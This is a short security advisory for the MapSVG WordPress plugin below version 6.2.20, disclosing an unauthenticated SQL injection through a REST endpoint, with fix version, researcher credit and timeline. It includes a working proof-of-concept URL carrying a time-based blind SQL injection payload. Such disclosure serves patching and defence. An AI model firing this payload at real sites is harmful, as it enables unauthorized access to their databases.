WordPress Plugin Vulnerabilities

MapSVG < 6.2.20 - Unauthenticated SQLi

Description

The plugin does not validate and escape a parameter via a REST endpoint before using it in a SQL statement, leading to a SQL Injection exploitable by unauthenticated users.

Proof of Concept

https://example.com/wp-json/mapsvg/v1/maps/2?id=1%27%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)--+

Affects Plugins

Fixed in 6.2.20

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Brandon James Roldan
Submitter
Brandon James Roldan
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-04-18 (about 2 years ago)
Added
2022-04-18 (about 2 years ago)
Last Updated
2022-04-19 (about 2 years ago)

Other